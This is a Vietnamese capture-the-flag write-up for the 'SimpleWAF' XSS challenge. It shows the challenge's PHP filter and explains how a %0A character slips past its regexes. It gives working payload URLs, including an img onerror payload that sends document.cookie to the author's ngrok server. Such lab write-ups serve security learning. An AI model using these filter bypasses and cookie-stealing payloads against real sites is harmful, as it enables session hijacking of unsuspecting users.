[ISITDT UCTF 2021] SimpleWAF

I. Phân tích hướng đi

This is a simple XSS challenge, if you can steal cookie, bot will check it at here:
This is a simple XSS challenge, if you can steal cookie, bot will check it at <a href=bot.php>here</a>: 
<br>
<?php 
show_source
(__FILE__);
$xss $_GET['xss'];

$tmpxss $xss;
do
{
    
$xss $tmpxss;
    
$tmpxss urldecode($xss);
} while(
$tmpxss != $xss);

$xss html_entity_decode($xss);

$valid true;
if(
preg_match("/\<\w+.*on\w+=.*/i"$xss))
{
    
$valid false;
}

if(
preg_match("/\<\w+.*src=.*/i"$xss))
{
    
$valid false;
}

if(
preg_match("/\<\w+.*href=.*/i"$xss))
{
    
$valid false;
}

if(
preg_match("/\<script.*/i"$xss))
{
    
$valid false;
}

if(
preg_match("/\<object.*/i"$xss))
{
        
$valid false;
}

if(
$valid == true)
{
    echo 
$xss;
}
else
{
    echo 
"WAF block";
}

?>
- Họ bảo đây là lỗi XSS, nếu mình có thể steal cookie thì gửi qua cho con bot nó check cho mình

- Sang trang con bot thì nó bắt mình điền 1 cái url cộng thêm capcha chắc để mình khỏi dùng tools quét. Đến đây thì có thể đưa ra kết luận rồi
KL : Nó muốn mình steal cookie của trang đầu xong paste link đó vào cho con bot, bot sẽ gửi cookie cho mình

II. Khai thác

- Nó filter 1 loạt ký tự như on, src, href, script, object,... muốn ngăn mình chuyển hướng đến trang web khác để trộm cookie
- Trong quá trình làm mình phát hiện cái ký tự này %0A thêm nó vào trước mấy từ như src, href thì cái filter bên trên nó không lọc được, mà khi hiển thị lên web thì nó như dấu cách ^^
- Mình thử với script và object nhưng nó trông như này < script >, < object >. Có dấu cách nên script nó không thực thi. Vì vậy mình chuyển hướng qua dùng mấy thẻ như svg, img để khai thác cái src
- Alert  https://simplewaf.duckdns.org/6ef051ac3d7b644cb6b3c22fef5677a1/?xss=XSS%3Csvg%0Asrc=x%20onload=alert(1);%3E . Truyền như này thì nó qua luôn
- Tiếp theo cần chuyển hướng nó về cái server của mình để nhận cookie. Server thì mình mở bên máy ảo kali xong dùng cái ngrok để đưa local lên. Lượm nhặt mấy payload trên mạng thì thấy cái onerror của thẻ img dùng được nên mang về chỉnh sửa :  https://simplewaf.duckdns.org/6ef051ac3d7b644cb6b3c22fef5677a1/?xss=XSS%3Cimg%09%0Asrc=x%20onerror=this.src=%27https://c688-27-67-143-104.ngrok.io?a=%27.concat(document.cookie);%3E
- Check bên server của mình thì thấy nó gửi cookie về rồi (^v^)


- Giờ chỉ việc đưa url này qua cho con bot để nó gửi flag cho mình thôi


Tham khảo : 

Nhận xét